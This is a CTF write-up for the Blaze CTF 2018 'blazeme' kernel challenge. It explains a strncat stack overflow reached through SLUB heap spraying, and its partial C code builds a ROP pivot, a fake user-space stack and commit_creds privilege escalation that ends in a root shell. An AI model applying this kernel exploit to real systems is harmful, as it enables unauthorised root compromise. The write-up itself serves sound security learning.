blazeme - Blaze CTF 2018
Kernel exploitation challenge!
ssh blazeme@18.222.40.104 password: guest
Download here (6 MB)
The flag in this archive is not the real flag. It’s there to make you feel good when your exploit works locally.
Author: crixer
420 points, 14 Solves, pwn
We are given the source to a kernel module blazeme
which creates a char device at /dev/blazeme
and can be opened, closed, read, and written to. It allows us to write up to #define KBUF_LEN (64)
bytes into a global buffer kbuf
which created with kmalloc, then read back up to 64 bytes. It also strncat
’s Hello
and the supplied data into a 512 stack buffer and prints it using printk
, which we can see using dmesg
.
$ echo testing > /dev/blazeme
$ dd if=/dev/blazeme bs=10 count=1
testing
$ dmesg | tail -n 1
Hello testing
The issue lies in the contatination of the two bits of data:
char str[512] = "Hello ";
if (kbuf != NULL) {
strncat(str, kbuf, strlen(kbuf));
printk(KERN_INFO "%s", str);
}
Although kbuf
is only ever 64 bytes long, the amount that is copied is determined by strlen(kbuf)
. The linux kernel uses the SLUB allocator by default:
In the SLUB allocator, a slab is simply a group of one or more pages neatly packed with objects of a given size. There is no metadata within the slab itself, with the exception that free objects are formed into a simple linked list.
This means that if we can allocate a bunch of 64 byte slabs, and fill then with anything but nulls, we can cause strlen(kbuf)
to be greater that 512 and we have a stack overflow.
As kernel addresses start from 0xffffffff80000000
, we can create a rop chain containing no null bytes that can be used to smash the stack. Thankfully there was no kaslr/smep/smap so we have fixed kernel addresses and can use ret2usr
to redirect the control flow to user space.
$ cat /proc/cpuinfo | grep flags
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm nopl cpuid pni cx16 hypervisor lahf_lm svm 3dnowprefetch retpoline rsb_ctxsw vmmcall
After using extract-vmlinux to extract the vmlinux
from the provided bzImage
, I fired up ropper and looked for a stack pivot (xchg, mov, etc) of which there were hundres. I chose 0xffffffff8109c604: mov esp, 0x1740000; ret;
as it would allow me to map a fixed location in user space and build a full rop chain there.
As Hello
is also prepended to the data, my payload started with 2 padding bytes to align the stack, followed by 8 of my pivot gadgets:
unsigned long pivot[8];
for (int i = 0; i < 8; ++i) {
pivot[i] = 0xffffffff8109c604ull; // mov esp, 0x1740000; ret;
}
char payload[64];
strncpy(payload, "AA", 2);
strncpy(&payload[2], (const char *)pivot, 64);
Spraying this around wildly in a loop should hopefully overwrite a saved RIP at some point, moving the stack and giving us control.
int fd = open("/dev/blazeme", O_RDWR);
for (;;) {
write(fd, payload, 64);;
}
So what we need to do now, is make ourselves root by calling commit_creds(prepare_kernel_cred(0));
and then return from the kernel space to the usersspace process using swapgs
and iretq
with the required values on the stack, then spawn a shell. We map our fake stack in to cover 0x1740000
and place our return address in the correct location.
static void kernel_payload() {
escalate_privs();
restore_state();
}
int main() {
unsigned long *fake_stack = mmap((void *)0x1700000, 0x1000000, PROT_READ | PROT_WRITE | PROT_EXEC, 0x32 | MAP_POPULATE | MAP_FIXED | MAP_GROWSDOWN, -1, 0);
fake_stack[0x40000 / 8] = (unsigned long)kernel_payload;
The save and restore methods were taken straight from http://cyseclabs.com/slides/smep_bypass.pdf and most of the rest from the references below.
The qemu machine had networking enabled, so after statically compiling our exploit gcc -static -O2 -Wall exploit.c -o exploit
we can wget
it to the machine and run it.
$ ./exploit
Spawning shell
$ id
uid=0(root) gid=0(root)
References
Here’s a bunch of stuff by Vitaly Nikolenko which was great help in learning about kernel exploits: